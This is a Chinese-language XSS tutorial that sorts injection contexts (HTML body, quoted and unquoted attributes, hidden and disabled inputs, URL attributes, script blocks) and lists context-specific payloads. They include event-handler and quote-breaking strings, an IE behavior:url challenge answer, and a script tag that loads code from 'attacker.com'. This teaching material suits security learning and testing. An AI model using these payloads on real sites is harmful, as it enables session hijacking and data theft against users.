0x00 介绍
在一切用户可控输入的地方,没有过滤输入内容,导致插入html代码,从而导致用户的信息泄露及其它的问题。XSS分为以下几种:
本文就来探究在不同情形下执行XSS的情况。
0x01 HTML XSS
HTML XSS 是最常见的一种XSS的情形。例如以下代码:
<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{userinput}}
</body>
</html>
这种情形,可以用以下payloads:
<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)//
类似payload 就可以成功XSS。
但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>
都需要使用</xmp><script>alert(1)</script>
先闭合标签,在插入JS代码。
0x02 属性 XSS
在这种情形下,用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:
- 双引号
- 单引号
- 无引号
就像这样:
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{user input}}"> <!-- 双引号 -->
<input type="" name="input" value='{{user input}}'> <!-- 单引号 -->
<input type="" name="input" value={{user input}}> <!-- 无引号 -->
...
....
</body>
</html>
1.双引号payloads:
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
2.单引号payloads:
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
3.无引号payloads:
aaaa autofocus onfocus=alert(1)//
aaaa onbeforescriptexecute=alert(1)//
aaaa onmouseover=alert(1)//
在使用这些标签属性的时候,并不是适用于每一个HTML标签,而且有些属性需要与用户的交互。当然也有不会执行JS的标签,例如:<meta>。更多的标签使用,可以查看参考里面的XSS过滤表。
还有些时候,用户的输入是在disabled或者hidden 中。
4.hidden 标签:
1)在onclick事件下,使用accesskey ,所以需要与用户交互。
<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{userinput}}" />
..
</html>
Payload: "accesskey="X" onclick="alert(1)"
,为了触发事件,需要按Alt+SHIFT+X 键。
阿里先知XSS中的一道题:
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
Payload: token='style='behavior:url(?)'onreadystatechange='alert(1)
2) 如果type="hidden"
参数是在后面:
<!DOCTYPE HTML>
<html>
..
<input value="{{userinput}}" type="hidden"/>
..
</html>
Payload: " type=xx autofocus onfocus=alert(1)//
5.disabled
<!DOCTYPE HTML>
<html>
..
<input disabled value="{{userinput}}" />
..
</html>
Payload: "style="position:fixed;top:0;left:0;border:999em solid red;" onmouseover="alert(1)
只有firefox有效。
0x03 URL XSS
HTML标签 使用了加载URL的标签。
<script src="{{userinput}}"></script>
<a href="{{userinput}}">Click</a>
<iframe src="{{userinput}}" />
<base href="{{userinput}}">
<form action={{userinput}}>
<button>X</button>
<frameset><frame src="{{userinput}}"></frameset>
Payload: javascript:alert(1)//
0x04 JAVASCRIPT XSS
用户的输入在<script>
标签中,从而导致的JS代码执行。
1.
<!DOCTYPE HTML>
<html>
..
<script>
var x="{{userinput}}";// break out of quotes accordingly if its double or single
..
...
</script>
..
</html>
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
如果没有被转义的话,就可以直接执行JS代码了。
2.
<!DOCTYPE HTML>
<html>
..
<script>
var x={{userinput}};
..
...
</script>
..
</html>
Payloads:
alert(1);
1-alert(1);
alert(1)//
我们要做的就是保持插入的代码在JS代码中不会有语法的错误,这样才能保证我们Payload 的正确执行。
3.
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){
if(test =='{{userinput}}'){
//something
}
else
{
//something
}
}
test();
</script>
..
</html>
首先用 test'){//
封闭条件判断的地方,变成:
function test(){
if(test =='test'){//'){
//something
}
else
{
//something
}
}
但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}//
封闭test()函数:
function test(){
if(test =='test'){1}}//'){
//something
}
else
{
//something
}
}
我们在使用test'){1}};alert(1);function test1(){ if(1){//
把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function
:
function test(){
if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
//something
}
else
{
//something
}
}
格式化后:
当然了这些XSS代码都是一些示例,大佬可以无视哦,实际中的话还跟浏览器的处理还有很大的关系,以及网页设置的编码等。
0x05 参考
https://github.com/Metnew/uxss-db
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet (xss 过滤速查表)
审核人:yiwang 编辑:边边